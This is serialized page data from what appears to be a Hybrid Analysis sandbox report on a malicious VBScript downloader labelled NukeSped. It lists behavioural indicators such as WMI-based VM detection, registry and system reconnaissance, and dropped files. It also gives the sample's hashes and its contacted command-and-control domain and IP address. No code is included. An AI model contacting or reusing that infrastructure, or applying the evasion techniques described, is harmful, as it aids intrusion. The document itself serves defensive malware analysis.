\"DEFAULTLEVEL\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"SAFERFLAGS\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"POLICYSCOPE\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"LOGFILENAME\")","id":"registry-78","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to read software policies","origin":"Registry Access","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"C:\\Windows\\System32\\wscript.exe\" queried ProcessMitigationPolicy","id":"api-323","level":"informative","mitre_attack_id":"T1497.001","name":"Queries process mitigation policy via NtQueryInformationProcess","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"\"19001a0000000000204202eaf87f0000@ntdll.dll\"\n \"2200230000000000404202eaf87f0000@ntdll.dll\"","id":"api-8","level":"informative","mitre_attack_id":"T1129","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","origin":"API Call","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","id":"api-264","level":"informative","mitre_attack_id":"T1055.003","name":"Creates a thread in a self process","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"$3d","id":"string-482","level":"informative","mitre_attack_id":"T1071.001","name":"Contains ability to post data to a web server","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"\"144.172.110.53:443\"","id":"network-1","level":"informative","mitre_attack_id":"T1071","name":"Contacts server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Dropped file: \"CDA8C825899D11FE5D92952D460A05B8\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\CDA8C825899D11FE5D92952D460A05B8]- [targetUID: 00000000-00004736]\n Dropped file: \"CDA8C825899D11FE5D92952D460A05B8\" - Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\CDA8C825899D11FE5D92952D460A05B8]- [targetUID: 00000000-00004736]","id":"binary-37","level":"informative","mitre_attack_id":"T1036","name":"Drops files inside appdata directory","origin":"Binary File","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"System Security","description":"$3e","id":"registry-136","level":"informative","mitre_attack_id":"T1112","name":"Writes registry keys","origin":"Registry Access","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$3f","id":"string-93","level":"suspicious","mitre_attack_id":"T1005","name":"Found browser information locations related strings","origin":"File/Memory","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"Short term registered certificate: \"callsdk.online\" (89 days old)","id":"certificate-3","level":"informative","mitre_attack_id":"T1583.001","name":"Short-term SSL certificate detected","origin":"Certificate Data","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"CDA8C825899D11FE5D92952D460A05B8\" has type \"Certificate Version=3\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\CDA8C825899D11FE5D92952D460A05B8]- [targetUID: 00000000-00004736]\n \"CDA8C825899D11FE5D92952D460A05B8\" has type \"data\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\CDA8C825899D11FE5D92952D460A05B8]- [targetUID: 00000000-00004736]","id":"binary-0","level":"informative","mitre_attack_id":"T1105","name":"Dropped files","origin":"Binary File","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"System Security","description":"\"WScript.exe\" opened \"\\Device\\KsecDD\"","id":"api-37","level":"informative","mitre_attack_id":"T1068","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","origin":"API Call","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"WScript.exe\" issued a query \"SELECT * FROM Win32_ComputerSystem\"\n \"WScript.exe\" issued a query \"Select * from Win32_OperatingSystem\"\n \"WScript.exe\" issued a query \"SELECT * FROM Win32_TimeZone\"\n \"WScript.exe\" issued a query \"SELECT * FROM Win32_Processor\"\n \"WScript.exe\" issued a query \"SELECT * FROM Win32_NetworkAdapterConfiguration\"\n \"WScript.exe\" issued a query \"Select * from Win32_Process\"","id":"api-183","level":"informative","mitre_attack_id":"T1082","name":"Executes WMI queries to gather system information","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"General","description":"\"callsdk.online\"","id":"network-0","level":"informative","mitre_attack_id":"T1071","name":"Contacts domains","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"WScript.exe\" issued a query \"Select * from Win32_Process\"","id":"api-182","level":"informative","mitre_attack_id":"T1057","name":"Executes WMI queries in order to detect running processes","origin":"API Call","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$40","id":"api-161","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (non-executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004736)","id":"api-124","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to get product type","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"Observed JA3 fingerprint: 3c293bdf2a25c07559b560ba86debc77\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","id":"network-55","level":"informative","name":"JA3 SSL client fingerprint","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004736)\n \"WScript.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00004736)","id":"api-147","level":"informative","mitre_attack_id":"T1614","name":"Calls an API typically used to retrieve local language","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","id":"registry-1","level":"informative","mitre_attack_id":"T1082","name":"Reads the cryptographic machine GUID","origin":"Registry Access","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"TCP traffic to 144.172.110.53 on port 443 is sent without HTTP header","id":"network-23","level":"suspicious","mitre_attack_id":"T1071.001","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at DBB90000","id":"module-8","level":"informative","mitre_attack_id":"T1562.001","name":"Loads the AMSI (Antimalware Scan Interface) DLL","origin":"Loaded Module","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" issued a query \"SELECT * FROM Win32_ComputerSystem\"\n \"WScript.exe\" issued a query \"Select * from Win32_OperatingSystem\"\n \"WScript.exe\" issued a query \"SELECT * FROM Win32_TimeZone\"\n \"WScript.exe\" issued a query \"SELECT * FROM Win32_Processor\"\n \"WScript.exe\" issued a query \"SELECT * FROM Win32_NetworkAdapterConfiguration\"\n \"WScript.exe\" issued a query \"Select * from Win32_Process\"","id":"api-56","level":"informative","mitre_attack_id":"T1047","name":"Executes WMI queries","origin":"API Call","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found string - \\\\.\\root\\CIMV2; Source: \"00000000-00004736-00002713-498988972\")\n Found string - \\\\.\\root\\cimv2; Source: \"00000000-00004736-00002713-501837995\")","id":"string-145","level":"informative","mitre_attack_id":"T1564","name":"Found virtual disk drive like strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at EC530000","id":"module-10","level":"informative","mitre_attack_id":"T1129","name":"Loads the RPC (Remote Procedure Call) module DLL","origin":"Loaded Module","sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Network Related","description":"HTTPS traffic to \"144.172.110.53\" on port \"443\"","id":"network-38","level":"informative","mitre_attack_id":"T1573","name":"Uses HTTPS for communication","origin":"Network Traffic","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$41","id":"api-206","level":"informative","mitre_attack_id":"T1573.002","name":"Calls an API typically used to encrypt a block of data","origin":"API Call","relevance":3,"sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$42","id":"api-234","level":"informative","mitre_attack_id":"T1573.002","name":"Calls an API typically used to import asymmetric cryptographic keys into a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Remote Access Related","description":"$43","id":"string-30","level":"informative","mitre_attack_id":"T1047","name":"Contains references to WMI/WMIC","origin":"File/Memory","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" issued a query \"SELECT * FROM Win32_ComputerSystem\"\n \"WScript.exe\" issued a query \"Select * from Win32_OperatingSystem\"\n \"WScript.exe\" issued a query \"SELECT * FROM Win32_Processor\"\n \"WScript.exe\" issued a query \"SELECT * FROM Win32_NetworkAdapterConfiguration\"\n \"WScript.exe\" issued a query \"Select * from Win32_Process\"","id":"api-57","level":"informative","mitre_attack_id":"T1047","name":"Executes WMI queries known to be used for VM detection","origin":"API Call","relevance":10,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"}]},{"category":"Network Related","description":"Pattern match: \"https://callsdk.online\"\n Pattern match: \"https://callsdk.onlineend\"\n Pattern match: \"http://x1.i.lencr.org/0http://x1.c.lencr.org/0q7xr7hel'dq^zlcs^x#--+gbdckh]ex[7vn|!w\"\n Heuristic match: \"getproc = getproc & prc.name\"\n Heuristic match: \"if not dict.exists(key) then dict.add key, subfolder.name\"","id":"string-3","level":"informative","mitre_attack_id":"T1071","name":"Found potential URL in binary/memory","origin":"File/Memory","relevance":3,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"\"callsdk.online\"","id":"network-51","level":"informative","mitre_attack_id":"T1071.004","name":"Queries DNS server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"General","description":"$44","id":"api-175","level":"informative","mitre_attack_id":"T1129","name":"Calls an API typically used to load libraries","origin":"API Call","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$45","id":"registry-177","level":"informative","mitre_attack_id":"T1012","name":"Opens registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"6a4bcf607e6ce85f290a96b3","report_type":"sandbox"},{"report_id":"6a4babf4606f9634490c9178","report_type":"sandbox"}]}],"stats":{"attributions":{"campaigns_count":0,"cves_count":0,"malware_families_count":1,"threat_actors_count":0,"threat_types_count":0},"av":{"malicious_count":2,"suspicious_count":0,"total_engines":26},"mitre_attacks":{"total":46},"rule_matches":{"sigma_count":0,"suricata_count":0,"yara_count":0},"sandbox_signatures":{"informative_count":94,"malicious_count":5,"suspicious_count":10,"total":109}},"summary":{"score":100,"tags":["evasive","malicious"],"verdict":"malicious"}},"metadata":{"file_info":{"file_name":"kim_jong_un_is_a_fat_ugly_pig.vbs","file_size":16595,"file_type":["script","vbs"],"file_type_id":"vbs"},"hashes":{"imphash":"Unknown","md5":"6e072b1d77b55a2c30bedf34210dcb61","sha1":"c5242e2e42b164fa499a8350e6a3f24c66df0cfa","sha256":"8889f1b67aea6896945506dae192326149f6c5db87e9b04fa08ac9a142a87775","sha512":"80e2785ad45ac5cee48f6c26a9fc6b5f7aeda2b3331bdf9557772b64ac6a12d4a81d57ae3041c21fe718bf20ca9207c6fe08979c4d03310b36d0df915da407ec","ssdeep":"384:WS3LZcXuRtW17BsfSefINwBsCuotRuju0+igsCzl:KuRt0Tu0+igZzl","ssdeep_chunks":["384:WS3LZcX","384:S3LZcXu","384:3LZcXuR","384:LZcXuRt","384:ZcXuRtW","384:cXuRtW1","384:XuRtW17","384:uRtW17B","384:RtW17Bs","384:tW17Bsf","384:W17BsfS","384:17BsfSe","384:7BsfSef","384:BsfSefI","384:sfSefIN","384:fSefINw","384:SefINwB","384:efINwBs","384:fINwBsC","384:INwBsCu","384:NwBsCuo","384:wBsCuot","384:BsCuotR","384:sCuotRu","384:CuotRuj","384:uotRuju","384:otRuju0","384:tRuju0+","384:Ruju0+i","384:uju0+ig","384:ju0+igs","384:u0+igsC","384:0+igsCz","384:+igsCzl","768:WS3LZcX","768:S3LZcXu","768:3LZcXuR","768:LZcXuRt","768:ZcXuRtW","768:cXuRtW1","768:XuRtW17","768:uRtW17B","768:RtW17Bs","768:tW17Bsf","768:W17BsfS","768:17BsfSe","768:7BsfSef","768:BsfSefI","768:sfSefIN","768:fSefINw","768:SefINwB","768:efINwBs","768:fINwBsC","768:INwBsCu","768:NwBsCuo","768:wBsCuot","768:BsCuotR","768:sCuotRu","768:CuotRuj","768:uotRuju","768:otRuju0","768:tRuju0+","768:Ruju0+i","768:uju0+ig","768:ju0+igs","768:u0+igsC","768:0+igsCz","768:+igsCzl","384:KuRt0Tu","384:uRt0Tu0","384:Rt0Tu0+","384:t0Tu0+i","384:0Tu0+ig","384:Tu0+igZ","384:u0+igZz","384:0+igZzl"]},"submissions":{"first_seen":1783344073000,"last_multi_scan":1783353185000,"last_seen":1783353185000}},"overall_status":"SUCCESS","report_ids":{"sandbox_job_ids":["6a4bcf607e6ce85f290a96b3","6a4babf4606f9634490c9178"]},"schema_version":"1.0.9","sha256":"8889f1b67aea6896945506dae192326149f6c5db87e9b04fa08ac9a142a87775","threat_score":100,"unified_at":"2026-09-09T06:04:32.045Z","unified_at_epoch_ms":1788933872045,"verdict":"malicious"}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious VBS/TrojanDownloader.NukeSped Sample 8889f1b67aea… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 8889f1b67aea…. Malware family: VBS/TrojanDownloader.NukeSped. Threat score 100/100. 2/26 AV engines flagged this file. 5 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/8889f1b67aea6896945506dae192326149f6c5db87e9b04fa08ac9a142a87775"}],["$","meta","4",{"property":"og:title","content":"Malicious VBS/TrojanDownloader.NukeSped Sample 8889f1b67aea… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 8889f1b67aea…. Malware family: VBS/TrojanDownloader.NukeSped. Threat score 100/100. 2/26 AV engines flagged this file. 5 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/8889f1b67aea6896945506dae192326149f6c5db87e9b04fa08ac9a142a87775"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious VBS/TrojanDownloader.NukeSped Sample 8889f1b67aea… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 8889f1b67aea…. Malware family: VBS/TrojanDownloader.NukeSped. Threat score 100/100. 2/26 AV engines flagged this file. 5 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L46","11",{}]]